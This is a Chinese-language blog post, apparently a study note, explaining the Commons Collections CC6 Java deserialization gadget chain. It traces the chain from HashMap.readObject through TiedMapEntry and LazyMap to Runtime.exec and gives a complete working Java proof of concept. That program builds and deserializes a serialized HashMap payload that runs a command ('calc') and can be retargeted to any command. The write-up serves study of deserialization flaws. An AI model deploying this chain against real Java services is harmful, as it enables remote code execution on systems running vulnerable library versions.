CC6

CC6:

版本要求:

JDK ≤ 8u76

CommonsCollections <= 3.2.1

在cc1中,我们已经知道了AnnotationInvocationHandler类的invoke方法可以触发LazyMap的get方法,但其实TiedMapEntry类的getvalue方法也可以触发。

LazyMap:

我们先来看LazyMap类。

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

可以看到要在key为空的情况下才能调用transform方法。

同时:

    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

decorat可控,它会调用构造方法,说明map也是可控的。

再来看谁调用了get方法。

TiedMapEntry:

    public Object getValue() {
        return map.get(key);
    }

从这里可以看到,TiedMapEntry类的getValue调用了get方法,且map由公共的构造方法传入,也是可控的。传入LazyMap即可

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

那么再看谁调用了getValue。

    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

TiedMapEntry自己的hashCode方法就会调用。

继续跟进

HashMap:

这里可以看到HashMap的hash方法会调用key的hashCode方法。查阅别人的博客知道,这个key可通过put设定,也是可控的。

再看看哪里有对hash的调用:

可以看到这里反序列化就会触发对一个key的hash()。那么我们的构造链也大体完成了。

HashMap.readObject()
HashMap.hash()+
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

不过还有一些细节的地方需要处理。

put提前触发程序:

这个地方用put设定key的时候会提前进行流程。通过翻阅博客我们发现一个思路:先用一个其他的transformer构建,最后再用反射改回来。后面看最终的poc就知道了。

调用get方法参数非空:

之前我们知道,LazyMap的get方法只有在接受的参数为空的时候才会调用transform。可是我们看TiedMapEntry的getValue方法:

这里它传给get一个key,所以我们需要手动将lazy里面的key移除。

poc:

所以最后的poc:

package org.example;

import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        Map<Object,Object> lazy = LazyMap.decorate(new HashMap<>(),new ConstantTransformer("a"));
        TiedMapEntry tme = new TiedMapEntry(lazy,"b");
        HashMap<Object,Object> hp = new HashMap<>();
        hp.put(tme,"c");
        lazy.remove("b");
        Class<LazyMap> lazy2 = LazyMap.class;
        Field ft = lazy2.getDeclaredField("factory");
        ft.setAccessible(true);
        ft.set(lazy,chain);
        serialize(hp);
        unserialize("test.txt");
    }
    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
        oos.writeObject(object);
        oos.close();
    }
    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }
}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇